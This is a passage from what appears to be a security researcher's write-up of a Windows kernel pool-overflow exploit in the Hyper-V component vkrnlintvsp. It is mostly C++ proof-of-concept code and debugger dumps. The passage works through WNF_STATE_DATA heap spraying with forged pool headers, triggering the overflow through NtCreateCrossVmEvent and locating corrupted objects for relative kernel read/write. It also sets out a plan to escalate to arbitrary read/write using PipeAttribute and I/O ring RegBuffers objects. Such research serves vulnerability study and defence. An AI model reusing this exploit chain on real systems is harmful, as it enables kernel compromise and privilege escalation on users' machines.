(POOL_HEADER*)(sd.Dacl) + 0x1000 - 0x10) {<br>        ph-&gt;BlockSize = 0x5;<br>        ph-&gt;PoolTag = 0x20666e57;<br>        ph-&gt;PoolType = 0xb &amp; ~(1 &lt;&lt; 3); //clear PoolQuota bit (bit index 3)<br>        ph-&gt;PoolIndex = 0x0;<br>        ph-&gt;PreviousSize = 0x0;<br>        ph-&gt;ProcessBilled = (PVOID)0x4242424242424242;<br>    }<br>    else {<br>        break;<br>    }<br>    WNF_STATE_DATA* wnf = (WNF_STATE_DATA*)(ptr + i * 0x50 + sizeof(POOL_HEADER));<br>    if (wnf &lt; (WNF_STATE_DATA*)(sd.Dacl) + 0x1000 - 0x10) {<br>        wnf-&gt;DataSize = DataSize;<br>        wnf-&gt;AllocatedSize = wnf-&gt;DataSize;<br>        wnf-&gt;ChangeStamp = 1;<br>        unsigned char* data = (unsigned char*)wnf + sizeof(WNF_STATE_DATA);<br>        reinterpret_cast&lt;DWORD64*&gt;(data)[0] = i;<br>        DataSize -= 0x50;<br>    }<br>    else {<br>        break;<br>    }<br>    i++;<br>}<br>[...]<br>//first spraying<br>for (auto&amp; state : statenames1) {<br>    //std::cout &lt;&lt; &quot;state before creation: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; std::endl;<br><br>    result = fNtCreateWnfStateName(&amp;state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &amp;sd_spraying);<br>    //std::cout &lt;&lt; &quot;NtCreateWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    //std::cout &lt;&lt; &quot;state: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; std::endl;<br><br>    result = fNtUpdateWnfStateData(&amp;state, buffer, 0x30, 0, 0, 0, 0);<br><br>}<br><br>//second spraying<br>for (auto&amp; state : statenames2) {<br>    result = fNtCreateWnfStateName(&amp;state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &amp;sd_spraying);<br>    //std::cout &lt;&lt; &quot;NtCreateWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    //std::cout &lt;&lt; &quot;state: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; std::endl;<br>    result = fNtUpdateWnfStateData(&amp;state, buffer, 0x30, 0, 0, 0, 0);<br>}<br><br>//holes in second spraying<br>for (int i = STATENAMES2_SIZE - 0x100; i &gt; 0; i -= 50) {<br>    result = fNtDeleteWnfStateData(&amp;(statenames2[i]), NULL);<br>    //std::cout &lt;&lt; &quot;NtDeleteWnfStateData returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    //std::cout &lt;&lt; &quot;freed state &quot; &lt;&lt; std::hex &lt;&lt; statenames2[i].Data[0] &lt;&lt; statenames2[i].Data[1] &lt;&lt; std::endl;<br>}<br>//triggering overflow<br>fNtCreateCrossVmEvent(&amp;hEvent, EVENT_ALL_ACCESS, &amp;oa, 0, &amp;guid2, &amp;guid2);<br><br>//third spraying<br>for (auto&amp; state : statenames3) {<br>    result = fNtCreateWnfStateName(&amp;state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &amp;sd_spraying);<br>    //std::cout &lt;&lt; &quot;NtCreateWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    //std::cout &lt;&lt; &quot;state: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; std::endl;<br>    result = fNtUpdateWnfStateData(&amp;state, buffer, 0x30, 0, 0, 0, 0);<br>}<br>[...]<br>}</pre><p>Additionally, before spraying, rather than overwriting the objects with <em>0x41414141</em>, the PoC is modified such that every <em>0x50</em> bytes:</p><ul><li>It writes a <em>POOL_HEADER</em> with the <strong><em>PoolQuotaBit = 0</em></strong> (so that the <em>EPROCESS</em> won’t be checked when freeing the object, as described <a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">here</a> by Corentin Bayet and Paul Fariello).</li><li>It writes a <em>WNF_STATE_DATA</em> header such that the <em>DataSize</em> and <em>AllocatedSize</em> fields are between <em>0x50</em> and <em>0xfff0</em> (allowing for relative read/write primitives).</li><li>It writes a unique value in the first 8 bytes of the <em>WNF_STATE_DATA</em> body so that it can be identified later.</li></ul><p>The goal is to achieve a layout like the following before the overflow occurs, with the vulnerable object (Tag <em>ViRo</em>) placed among the <em>WNF_STATE_DATA</em> objects.</p><pre>0: kd&gt; !pool @rcx<br>unable to get nt!PspSessionIdBitmap<br>Pool page ffffc40f0d445990 region is Paged pool<br> ffffc40f0d445020 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445070 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4450c0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445110 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445160 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4451b0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445200 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445250 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4452a0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4452f0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445340 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445390 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4453e0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445430 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445480 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4454d0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445520 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445570 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4455c0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445610 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445660 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4456b0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445700 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445750 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4457a0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4457f0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445840 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445890 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d4458e0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445930 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br>*ffffc40f0d445980 size:   50 previous size:    0  (Allocated) *ViRo<br>  Owning component : Unknown (update pooltag.txt)<br> ffffc40f0d4459d0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445a20 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445a70 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445ac0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445b10 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445b60 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445bb0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445c00 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445c50 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445ca0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445cf0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445d40 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445d90 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445de0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445e30 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445e80 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445ed0 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445f20 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0<br> ffffc40f0d445f70 size:   50 previous size:    0  (Allocated)  Wnf  Process: ffff8f0adeba90c0</pre><p>Before the overflow, all the <em>WNF_STATE_DATA</em> objects are filled with <em>0x41</em> values.</p><pre>1: kd&gt; dq @rcx L100<br>ffffae04`c8385630  00000000`00000000 00000000`00000000<br>ffffae04`c8385640  00000000`00000000 00000000`00000000<br>ffffae04`c8385650  00000000`00000000 00000000`00000000<br>ffffae04`c8385660  00000000`00000000 00000000`00000000<br>ffffae04`c8385670  20666e57`0b050000 b6870e75`eb10b09c<br>ffffae04`c8385680  00000030`00100904 00000001`00000030<br>ffffae04`c8385690  41414141`41414141 41414141`41414141<br>ffffae04`c83856a0  41414141`41414141 41414141`41414141<br>ffffae04`c83856b0  41414141`41414141 41414141`41414141<br>ffffae04`c83856c0  20666e57`0b050000 b6870e75`eb10b02c<br>ffffae04`c83856d0  00000030`00100904 00000001`00000030<br>ffffae04`c83856e0  41414141`41414141 41414141`41414141<br>ffffae04`c83856f0  41414141`41414141 41414141`41414141<br>ffffae04`c8385700  41414141`41414141 41414141`41414141<br>ffffae04`c8385710  20666e57`0b050000 b6870e75`eb10b1fc<br>ffffae04`c8385720  00000030`00100904 00000001`00000030<br>ffffae04`c8385730  41414141`41414141 41414141`41414141<br>ffffae04`c8385740  41414141`41414141 41414141`41414141<br>ffffae04`c8385750  41414141`41414141 41414141`41414141<br>ffffae04`c8385760  20666e57`0b050000 b6870e75`eb10b18c<br>ffffae04`c8385770  00000030`00100904 00000001`00000030<br>ffffae04`c8385780  41414141`41414141 41414141`41414141<br>ffffae04`c8385790  41414141`41414141 41414141`41414141<br>ffffae04`c83857a0  41414141`41414141 41414141`41414141<br>ffffae04`c83857b0  20666e57`0b050000 b6870e75`eb10b15c<br>ffffae04`c83857c0  00000030`00100904 00000001`00000030<br>ffffae04`c83857d0  41414141`41414141 41414141`41414141<br>ffffae04`c83857e0  41414141`41414141 41414141`41414141<br>ffffae04`c83857f0  41414141`41414141 41414141`41414141<br>ffffae04`c8385800  20666e57`0b050000 b6870e75`eb10beec<br>ffffae04`c8385810  00000030`00100904 00000001`00000030<br>ffffae04`c8385820  41414141`41414141 41414141`41414141<br>ffffae04`c8385830  41414141`41414141 41414141`41414141<br>ffffae04`c8385840  41414141`41414141 41414141`41414141<br>ffffae04`c8385850  20666e57`0b050000 b6870e75`eb10bebc<br>ffffae04`c8385860  00000030`00100904 00000001`00000030<br>ffffae04`c8385870  41414141`41414141 41414141`41414141<br>ffffae04`c8385880  41414141`41414141 41414141`41414141<br>ffffae04`c8385890  41414141`41414141 41414141`41414141<br>ffffae04`c83858a0  20666e57`0b050000 b6870e75`eb10be4c<br>ffffae04`c83858b0  00000030`00100904 00000001`00000030<br>ffffae04`c83858c0  41414141`41414141 41414141`41414141<br>ffffae04`c83858d0  41414141`41414141 41414141`41414141<br>ffffae04`c83858e0  41414141`41414141 41414141`41414141<br>ffffae04`c83858f0  20666e57`0b050000 b6870e75`eb10be1c<br>ffffae04`c8385900  00000030`00100904 00000001`00000030<br>ffffae04`c8385910  41414141`41414141 41414141`41414141<br>ffffae04`c8385920  41414141`41414141 41414141`41414141<br>ffffae04`c8385930  41414141`41414141 41414141`41414141<br>[...]</pre><p>After the overflow, <em>WNF_STATE_DATA</em> contains unique values for <em>DataSize</em> and <em>AllocatedSize</em>, with an incremental value in the body (e.g., <em>0x0</em>, <em>0x1</em>, <em>0x2</em>, <em>0x3</em>, …). The first object has <em>DataSize/AllocatedSize = 0x10040</em> and a unique value of <em>0x0</em>. The second object has <em>DataSize/AllocatedSize = 0xfff0</em> and a unique value of <em>0x1</em>. The third object has <em>DataSize/AllocatedSize = 0xffa0</em> and a unique value of <em>0x2</em>, and so on.</p><pre>1: kd&gt; p<br>vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x15d:<br>fffff800`17ad9b29 40f6de          neg     sil<br>1: kd&gt; dq ffffae04`c8385630 L100<br>ffffae04`c8385630  00000001`fff00002 001f0003`ffe80000<br>ffffae04`c8385640  05000000`00000501 cb493b06`00000015<br>ffffae04`c8385650  6593c385`d7a83a5f 00000000`000003eb<br>ffffae04`c8385660  00000000`00000000 00000000`00000000<br>ffffae04`c8385670  20666e57`03050000 42424242`42424242<br>ffffae04`c8385680  00010040`00000000 00000001`00010040<br>ffffae04`c8385690  00000000`00000000 00000000`00000000<br>ffffae04`c83856a0  00000000`00000000 00000000`00000000<br>ffffae04`c83856b0  00000000`00000000 00000000`00000000<br>ffffae04`c83856c0  20666e57`03050000 42424242`42424242<br>ffffae04`c83856d0  0000fff0`00000000 00000001`0000fff0<br>ffffae04`c83856e0  00000000`00000001 00000000`00000000<br>ffffae04`c83856f0  00000000`00000000 00000000`00000000<br>ffffae04`c8385700  00000000`00000000 00000000`00000000<br>ffffae04`c8385710  20666e57`03050000 42424242`42424242<br>ffffae04`c8385720  0000ffa0`00000000 00000001`0000ffa0<br>ffffae04`c8385730  00000000`00000002 00000000`00000000<br>ffffae04`c8385740  00000000`00000000 00000000`00000000<br>ffffae04`c8385750  00000000`00000000 00000000`00000000<br>ffffae04`c8385760  20666e57`03050000 42424242`42424242<br>ffffae04`c8385770  0000ff50`00000000 00000001`0000ff50<br>ffffae04`c8385780  00000000`00000003 00000000`00000000<br>ffffae04`c8385790  00000000`00000000 00000000`00000000<br>ffffae04`c83857a0  00000000`00000000 00000000`00000000<br>ffffae04`c83857b0  20666e57`03050000 42424242`42424242<br>ffffae04`c83857c0  0000ff00`00000000 00000001`0000ff00<br>ffffae04`c83857d0  00000000`00000004 00000000`00000000<br>ffffae04`c83857e0  00000000`00000000 00000000`00000000<br>ffffae04`c83857f0  00000000`00000000 00000000`00000000<br>ffffae04`c8385800  20666e57`03050000 42424242`42424242<br>ffffae04`c8385810  0000feb0`00000000 00000001`0000feb0<br>ffffae04`c8385820  00000000`00000005 00000000`00000000<br>ffffae04`c8385830  00000000`00000000 00000000`00000000<br>ffffae04`c8385840  00000000`00000000 00000000`00000000<br>ffffae04`c8385850  20666e57`03050000 42424242`42424242<br>ffffae04`c8385860  0000fe60`00000000 00000001`0000fe60<br>ffffae04`c8385870  00000000`00000006 00000000`00000000<br>ffffae04`c8385880  00000000`00000000 00000000`00000000<br>ffffae04`c8385890  00000000`00000000 00000000`00000000<br>ffffae04`c83858a0  20666e57`03050000 42424242`42424242<br>ffffae04`c83858b0  0000fe10`00000000 00000001`0000fe10<br>ffffae04`c83858c0  00000000`00000007 00000000`00000000<br>ffffae04`c83858d0  00000000`00000000 00000000`00000000<br>ffffae04`c83858e0  00000000`00000000 00000000`00000000<br>ffffae04`c83858f0  20666e57`03050000 42424242`42424242<br>ffffae04`c8385900  0000fdc0`00000000 00000001`0000fdc0<br>ffffae04`c8385910  00000000`00000008 00000000`00000000<br>ffffae04`c8385920  00000000`00000000 00000000`00000000<br>ffffae04`c8385930  00000000`00000000 00000000`00000000<br>ffffae04`c8385940  20666e57`03050000 42424242`42424242<br>ffffae04`c8385950  0000fd70`00000000 00000001`0000fd70<br>ffffae04`c8385960  00000000`00000009 00000000`00000000<br>ffffae04`c8385970  00000000`00000000 00000000`00000000<br>ffffae04`c8385980  00000000`00000000 00000000`00000000<br>ffffae04`c8385990  20666e57`03050000 42424242`42424242<br>ffffae04`c83859a0  0000fd20`00000000 00000001`0000fd20<br>ffffae04`c83859b0  00000000`0000000a 00000000`00000000<br>ffffae04`c83859c0  00000000`00000000 00000000`00000000<br>ffffae04`c83859d0  00000000`00000000 00000000`00000000<br>[...]</pre><p>Afterward, the proof of concept (PoC) uses <em>NtQueryWnfStateData</em> to retrieve the contents of the <em>WNF_STATE_DATA</em> object.</p><p>The first call, with <em>outsize = 0x30</em>, will return an invalid result if the object is corrupted. The PoC performs an additional check on the value in the body and adds it to the <strong><em>corrupted </em></strong><em>std::vector</em>.</p><p>Then, the PoC sorts the corrupted <em>WNF_STATE_DATA</em> objects (this step could be skipped, as it was useful for debugging) and retrieves the one with the largest <em>DataSize/AllocatedSize</em> value, storing it in the <em>max_corrupted</em> variable.</p><p>Finally, it prints out all the contents that can be leaked from the heap by calling <em>NtQueryWnfStateData</em> on the <em>max_corrupted</em> <em>WNF</em> object (this final part can be skipped and was primarily used for debugging).</p><pre>int main(){<br>[...]<br>std::vector&lt;std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt;&gt; corrupted;<br>[...]<br>memset(buffer, 0x0, 0x10040);<br>//retrieving corrupted WNFs<br>for (auto&amp; state : statenames2) {<br>    stamp = 0;<br>    outsize = 0x30;<br>    result = fNtQueryWnfStateData(&amp;state, NULL, NULL, &amp;stamp, buffer, &amp;outsize);<br>    if (result != 0) {<br>        //std::cout &lt;&lt; &quot;NtQueryWnfStateData returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        //std::cout &lt;&lt; &quot;outsize: &quot; &lt;&lt; std::hex &lt;&lt; outsize &lt;&lt; std::endl;<br>        result = fNtQueryWnfStateData(&amp;state, NULL, NULL, &amp;stamp, buffer, &amp;outsize);<br>        //std::cout &lt;&lt; &quot;NtQueryWnfStateData returned second time &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        if (reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] != 0x4141414141414141) {<br>            //std::cout &lt;&lt; &quot;found corrupted WNF: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; &quot;val: &quot; &lt;&lt; std::hex &lt;&lt; reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] &lt;&lt; std::endl;<br>            auto p = std::make_shared&lt;WNF_STATE_CORRUPTED&gt;(WNF_STATE_CORRUPTED{ state, reinterpret_cast&lt;DWORD64*&gt;(buffer)[0],outsize });<br>            corrupted.emplace_back(p);<br>        }<br>    }<br>}<br>std::sort(corrupted.begin(), corrupted.end(), [](std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt; a, std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt; b) {<br>    return a-&gt;val &lt; b-&gt;val;<br>    });<br>//std::cout &lt;&lt; &quot;ordered corrupted WNFs&quot; &lt;&lt; std::endl;<br><br>for (auto&amp; c : corrupted) {<br>    //std::cout &lt;&lt; &quot;state: &quot; &lt;&lt; std::hex &lt;&lt; c-&gt;state.Data[0] &lt;&lt; c-&gt;state.Data[1] &lt;&lt; &quot;\tval: &quot; &lt;&lt; std::hex &lt;&lt; c-&gt;val &lt;&lt; &quot;\tdataSize: &quot; &lt;&lt; std::hex &lt;&lt; c-&gt;dataSize &lt;&lt; std::endl;<br>}<br><br>auto it = std::max_element(corrupted.begin(), corrupted.end(), [](std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt; a, std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt; b) {<br>    return a-&gt;dataSize &lt; b-&gt;dataSize;<br>    });<br><br>if (it == corrupted.end()) {<br>    std::cout &lt;&lt; &quot;no corrupted WNF&quot; &lt;&lt; std::endl;<br>    exit(0);<br>}<br><br>std::cout &lt;&lt; &quot;max corrupted WNF&quot; &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;state: &quot; &lt;&lt; std::hex &lt;&lt; it-&gt;get()-&gt;state.Data[0] &lt;&lt; it-&gt;get()-&gt;state.Data[1] &lt;&lt; &quot;\tval: &quot; &lt;&lt; std::hex &lt;&lt; it-&gt;get()-&gt;val &lt;&lt; &quot;\tdataSize: &quot; &lt;&lt; std::hex &lt;&lt; it-&gt;get()-&gt;dataSize &lt;&lt; std::endl;<br><br>auto max_corrupted = it-&gt;get();<br>auto max_corrupted_datasize = max_corrupted-&gt;dataSize;<br>memset(buffer, 0x0, 0x10040);<br><br>std::cout &lt;&lt; &quot;calling NtqueryWnfStateData on max_corrupted with max_corrupted-&gt;state &quot; &lt;&lt; std::hex &lt;&lt; max_corrupted-&gt;state.Data[0] &lt;&lt; max_corrupted-&gt;state.Data[0] &lt;&lt; &quot; and datasize&quot; &lt;&lt; max_corrupted-&gt;dataSize &lt;&lt; std::endl;<br>result = fNtQueryWnfStateData(&amp;(max_corrupted-&gt;state), NULL, NULL, &amp;stamp, buffer, &amp;(max_corrupted-&gt;dataSize));<br>if (result != 0) {<br>    std::cout &lt;&lt; &quot;NtQueryWnfStateData on max_corrupted returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    exit(0);<br>}<br>std::cout &lt;&lt; &quot;buffer content&quot; &lt;&lt; std::endl;<br><br>//std::cout &lt;&lt; Hexdump(buffer, 0x150) &lt;&lt; std::endl &lt;&lt; std::endl;<br>[...]<br>}</pre><h4>Identifying interesting objects</h4><p>At this point, the <em>max_corrupted</em> <em>WNF_STATE_DATA</em> object provides <strong><em>0x1000</em> bytes relative read/write</strong>, allowing access to the <strong>next 33 objects</strong> (<em>0x1000 / 0x50 = 33</em>, where <em>0x50</em> is the size of an object).</p><p>The next objects aren’t particularly interesting and would be <strong>ideal candidates for replacement with more relevant objects that allow arbitrary read/write primitives in kernel space</strong>. It is important to note that the targeted objects must be <em>0x50</em> in size, just like the vulnerable object.</p><p>The PoC uses the following two objects:</p><ul><li><strong><em>PipeAttribute </em>object</strong>: This object contains a kernel pointer that ultimately allows obtaining the base of <em>ntoskrnl.exe</em>, as described <a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">here</a>.</li><li><a href="https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IOP_MC_BUFFER_ENTRY"><strong><em>_IOP_MC_BUFFER_ENTRY</em></strong></a><strong>*</strong> array object: This array is attached to an <a href="https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IORING_OBJECT"><em>_IORING_OBJECT</em></a><em> </em>by calling <a href="https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/nf-ioringapi-buildioringregisterbuffers"><em>BuildIoRingRegisterBuffers()</em></a> followed by <a href="https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/nf-ioringapi-submitioring"><em>SubmitIoRing()</em></a>.</li></ul><p>The <em>IOP_MC_BUFFER_ENTRY</em> data structure was described in this <a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">article</a> again by Yarden Shafir. The article outlines a method to obtain <strong>arbitrary read/write primitives</strong> starting from a <strong>single arbitrary write or increment</strong>. The idea is to overwrite <em>_IORING_OBJECT.RegBuffers</em> with a user-mode address. <strong><em>RegBuffers</em> is an array of <em>_IOP_MC_BUFFER_ENTRY</em> pointers</strong>.</p><p>The <em>WNF_STATE_DATA</em> object provides <strong>relative read/write</strong>, but not arbitrary read/write. It is <strong>not possible to insert an <em>_IORING_OBJECT</em> object</strong> directly, as it has a fixed size of <em>0xd0</em>. However, since <em>_IORING_OBJECT.RegBuffers</em> is an array of pointers and the <strong>number of pointers is user-controllable</strong> (as seen in <em>BuildIoRingRegisterBuffers()</em>), the <strong>object size becomes user-controllable</strong>.</p><p>Below the partial pseudocode of <em>nt!IopIoRingDispatchRegisterBuffers</em>.</p><pre> 1:  __int64 __fastcall IopIoRingDispatchRegisterBuffers(_IORING_OBJECT *a1, __int64 a2, __int64 a3)<br> 2:  {<br> 3:    [...]<br> 4:    new_regBuffersCount = *(a2 + 28);<br> 5:    [...]<br> 6:    if ( PreviousMode )<br> 7:    {<br> 8:      v15 = 0xFFFFFFFFLL;<br> 9:      if ( flag )<br>10:        size_regBuffers = 8 * new_regBuffersCount;<br>11:      else<br>12:        size_regBuffers = 16 * new_regBuffersCount;<br>13:      if ( size_regBuffers &lt;= 0xFFFFFFFF )<br>14:        v15 = size_regBuffers;<br>15:      BufferEntry = size_regBuffers &gt; 0xFFFFFFFF ? STATUS_INTEGER_OVERFLOW : 0;<br>16:      if ( size_regBuffers &gt; 0xFFFFFFFF )<br>17:        goto LABEL_51;<br>18:      if ( v15 )<br>19:      {<br>20:        v17 = v9 + v15;<br>21:        if ( v17 &gt; 0x7FFFFFFF0000LL || v17 &lt; v9 )<br>22:          MEMORY[0x7FFFFFFF0000] = 0;<br>23:      }<br>24:    }<br>25:    v18 = RegBuffersCount;<br>26:    if ( new_regBuffersCount == RegBuffersCount )<br>27:    {<br>28:      v7 = RegBuffers;<br>29:      RegBuffers = 0LL;<br>30:    }<br>31:    else<br>32:    {<br>33:      Pool2 = ExAllocatePool2(257LL, 8 * new_regBuffersCount, &#39;BRrI&#39;);<br>34:      v7 = Pool2;<br>35:      [...]<br>36:    }<br>37:  }</pre><p>The function is responsible for allocating a new <em>IORING_OBJECT.RegBuffers</em>. Notice the allocation at line 33 with the tag <strong><em>BRrI</em> </strong>and size <em>8 * new_regBuffersCount</em>. <em>new_regBuffersCount</em> is user-controllable (it corresponds to the <em>count</em> parameter passed to <em>BuildIoRingRegisterBuffers()</em>) and appears to have only one requirement: the <strong>final size must be less than <em>0xFFFFFFFF</em></strong> (line 15).</p><p>This means it is possible to <strong>create <em>BRrI</em> objects of size <em>0x50</em></strong>.</p><p><strong><em>Note</em></strong><em>: If the only condition is that the final size must be less than 0xFFFFFFFF, this makes it an interesting object. It could potentially allow for </em><strong><em>arbitrary read/write primitives to exploit heap overflows or use-after-free vulnerabilities (UAFs) for any size in both the paged-pool LFH heap and the paged-pool VS heap</em></strong><em>. (This is just a consideration based on a quick review of the pseudocode and hasn’t been verified.)</em></p><h4>Corrupting interesting objects</h4><p>The idea at this point is as follows:</p><ol><li>Use the relative read access of the corrupted <em>WNF_STATE_DATA</em> objects to locate <strong>two controllable</strong> <em>WNF_STATE_DATA</em> objects that can be replaced.</li><li>Free the first <em>WNF_STATE_DATA</em> object and allocate a bunch of <strong><em>BRrI</em> </strong>objects, ensuring <strong>one will replace the freed <em>WNF_STATE_DATA</em> object</strong>.</li><li>Free the second <em>WNF_STATE_DATA</em> object and allocate a bunch of <strong><em>PipeAttribute</em> </strong>objects, ensuring <strong>one will replace the freed <em>WNF_STATE_DATA</em> object</strong>.</li><li>Use the relative read/write capability of a corrupted <em>WNF_STATE_DATA</em> object to <strong>write a user-mode pointer into the <em>BRrI</em> object</strong> and <strong>read the kernel address of <em>PipeAttribute.Flink</em></strong>.</li></ol><p>To achieve this, the PoC is modified to call the <em>prepare()</em> function at the beginning.</p><pre>BOOL prepare() {<br>    iorings = new PUIORING[IORINGS_SIZE];<br>    HRESULT result;<br>    IORING_CREATE_FLAGS flags;<br>    spray_pipes = new SPRAY_PIPE[SPRAY_PIPE_COUNT];<br><br>    for (int i = 0; i &lt; SPRAY_PIPE_COUNT; i++) {<br>        if (!CreatePipe(&amp;spray_pipes[i].pipe_read, &amp;spray_pipes[i].pipe_write, NULL, NULL)) {<br>            std::cout &lt;&lt; &quot;CreatePipe failed with error &quot; &lt;&lt; GetLastError() &lt;&lt; &quot;  index &quot; &lt;&lt; i &lt;&lt; std::endl;<br>        }<br>    }<br><br>    attribute = new unsigned char[0x1000];<br>    memset(attribute, 0x41, 0x1000);<br>    attribute[0] = &#39;Z&#39;;<br>    attribute[1] = &#39;\0&#39;;<br>    output = new unsigned char[output_size];<br>    memset(output, 0x0, 0x100);<br><br>    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;<br>    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;<br><br>    fake_bufferentry = 